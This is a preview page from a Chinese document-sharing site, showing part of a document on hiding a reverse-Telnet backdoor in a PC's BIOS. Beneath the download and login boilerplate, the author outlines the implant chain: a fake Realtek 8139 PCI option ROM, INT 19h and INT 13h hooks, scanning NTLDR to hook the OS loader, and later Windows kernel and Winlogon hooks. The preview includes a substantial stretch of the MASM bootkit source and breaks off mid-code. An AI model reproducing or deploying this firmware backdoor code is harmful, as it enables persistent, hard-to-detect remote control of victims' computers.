ImageVerifierCode 换一换
格式:DOCX , 页数:16 ,大小:25.72KB ,
资源ID:3516898      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/3516898.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(BIOS中隐藏Telnet后门.docx)为本站会员(b****4)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

BIOS中隐藏Telnet后门.docx

1、BIOS中隐藏Telnet后门BIOS中隐藏Telnet后门该项目主要目的是想隐藏一个Telnet后门在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连接到指定的计算机接受CMD控制。相关知识标题1、实验环境配置问题。2、刷新BIOS技术问题。3、代码植入BIOS问题。4、源代码的相关问题: A、如何编写BIOS模块如:PCI、ISA。 B、实模式关于HOOK磁盘中断的问题。 C、磁盘中断中选择再次HOOK的问题。 D、NT保护模式下设置物理地址映射。 E、NT保护模式下线性地址寻址问题。 F、HOOK KeAddSystemServiceTable。

2、 G、HOOK NtUserRegisterClassExWOW。 H、HOOK Winlogon SASWndProc过程。 I、在SASWndProc收到WM_CREATE消息建立线程运行Telnet Shell Code。5、源代码的其他技术: A、IVThook InLineHookSSDT Hook B、SEHPEPEBTIB C、Hash SharedUserData CheckSum6、.相关的工具及相关的源代码会在以后整理发布. 以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整! 调试了几台我这儿的计算机,以网卡8139PCI模块加入BI

3、OS刷入芯片,在调试计算机上安装 win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.*ROM_IMAGE_SIZEequ 4 ;整个模块大小单位KB,固定大小4KB.CSL_KERNEL_DESTequ 0FFDF0800h;SharedUserData数据结构线性地址.CSL_USER_BACKDOORequ 07FFE0800h;SharedUserData数据结构线性地址.;*RealCode segment use16Code16Start:;*org 00h ;#注意:置代码开始地址以便于确定定置.#,*设置开始偏移:000h*dw0AA55

4、h;#注意:ROM头格式标识可以生气独立ROM.#,*标识开始偏移:000h*dbROM_IMAGE_SIZE*2;#注意:ROM长度(单位:512B,块)最小8块.#,*长度开始偏移:002h*jmp MyROMCodeStart;#注意:修改ROM模拟跳转指令到这里执行#,*指令开始偏移:003h*org 06h ;#注意:编译器根据偏移长度选择JMP命令#,*JMPrel16长:003h*ReturnOldROM: ;#注意:把数据放在头部以便于确定位置.#,*标识开始偏移:006h*db0e9h,0,0;#注意:执行完跳转到旧的ROM代码跳转处#,*指令数据偏移:007h*dbCHKS

5、UM=,0 ;#注意:填写我们修改后的ROM数据检验和#,*数据偏移地址:010h*;*org 18h ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看PCI 2.2规范教程dd34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡;*MyROMCodeStart:pushfpushadpushespushdssti ;打开中断,以便接收键盘输入.mov cx,0ffffh ;等待,约为两二秒的按键消

6、息.callWaitPressScrollKey.if !CARRY? ;若按下Scroll Lock键,不运行我们的程序.;*xor ax,axmov es,axmov eax,es:19h*4mov es:84h*4,eax;借用中断向量84H,保存中断向量19H.mov bx,es:413h;40:13,BIOS数据区保存常规的内存大小,单位:KBs.and bl,NOT 3;注意:要求分配的物理内存地址,以页作为基地址 .sub bx,4mov es:413h,bxshl bx,(10-4) ;bx *= 1024 / 16 (KBs-线性地址=KBs*1024,段:除以16)mov

7、es,bxxor di,di ;es:di - 分配的实模式高端内存前半部分开始处.pushcspop dscallGetCurrentAddr;offset Code16End = offset Code32StartGetCurrentAddr:pop si;si-GetCurrentAddr在内存的地址mov dx,siadd si,Code16End - GetCurrentAddr ;ds:si-Code16End保护模式代码段内存的地址.cldmov cx,(ROM_IMAGE_SIZE / 2) * 1024) / 4;拷贝保护模式代码数据到分配内存的前半部分.rep movsd

8、add bx,100hmov es,bxxor di,di ;es:0-分配的实模式高端内存后半部分开始处.mov si,dxsub si,GetCurrentAddr - Code16Start ;ds:si-Code16Start实模式代码的内存的地址.mov cx,(ROM_IMAGE_SIZE / 2) * 1024) / 4;拷贝实模式代码数据到分配内存的后半部分.rep movsdxor bx,bxmov ds,bxadd dx,NewINT19H - GetCurrentAddr ;dx-NewINT19H内存的地址mov ds:19h*4,dxmov ds:(19h*4) +

9、2,es ;设置成我们的INT19H服务代码;*.endifpop dspop espopadpopf;jmp ReturnOldROM ;跳转到原来的ROM代码的跳转处执行retf;*WaitPressScrollKey: ;函数入口:CX=350约为10ms, 函数延时: 33(us)pushax.repeat inal,60h .if al = 46h;Scroll Lock键扫描码:46h stc popax ret .endif inal,61h testal,010h .continue .if!ZERO? .repeat inal,61h testal,10h .until!ZE

10、RO? deccx.until cx = 0clcpopaxret;*NewINT19H:pushf;clipusheaxpushes;jmp $;bochs调试1#.xor ax,axmov es,axmov eax,es:84h*4mov es:19h*4,eax;恢复中断向量19H值.mov eax,es:13h*4.if es:85h*4 != eaxmov es:85h*4,eax;借用中断向量85H,保存中断向量13H.reserved for BASIC 82h85hmov word ptr es:13h*4,NewINT13H ;设置NewINT13H在内存的地址.mov es

11、:(13h*4) + 2,cs ;设置成我们的INT13H服务代码.endifpop espop eaxpopf;恢复现场int 84h ;调用旧的中断向量19H.iret;*NewINT13H:pushf ;有指令要改变标志寄存器值.testah, 0bdh;是不是读数据到内存?ah=02,ah=42h.if !ZERO?;ZF=0popfint85h;调用旧的中断向量13H.iret.endifmov word ptr cs:INT13LASTFUNCTION,axpopfint 85h ;调用旧的中断向量13H.if CARRY?;CF=1,读失败退出服务iret.endifpushf;

12、clipush espushad;jmp$ ;bochs调试2#.可输入指令:u cs:ip + 2.观察INT13LASTFUNCTION的值.movax,00hINT13LASTFUNCTION EQU $-2.if ah = 42h lodsw lodsw ;参看扩展INT13H规范ds:si + 2指传输块数. lesbx,si;ds:si + 04h表示: 传输用的缓冲区内存地址.endif.if al != 00hxor cx,cxmov cl,al mov al,8Bh;设置搜索标志的第一个字节. shl cx,9 ;(CX * 200h) 搜索搜索计数. mov di,bx ;

13、8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST ESI,ESI JZ $+23h CMP BYTE PTR ofs32, imm8cld ;NTLDR OSLoder模块里的6字节做为标志,进行HOOK.注意:选择HOOK位置很关键!.while 1 repne scasb.break.if!ZERO? .continue .ifdword ptr es:di != 74F685F0h .continue .ifword ptr es:di+4 != 8021h;(es:di - 1)-我们想被HOOK的指令代码开始处. ;mov byte ptr es:di-8,0ebh ;jmp $指令十六进制值0xebfe,设置在NTLDR暂停. ;mov byte ptr es:di-7,0feh

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1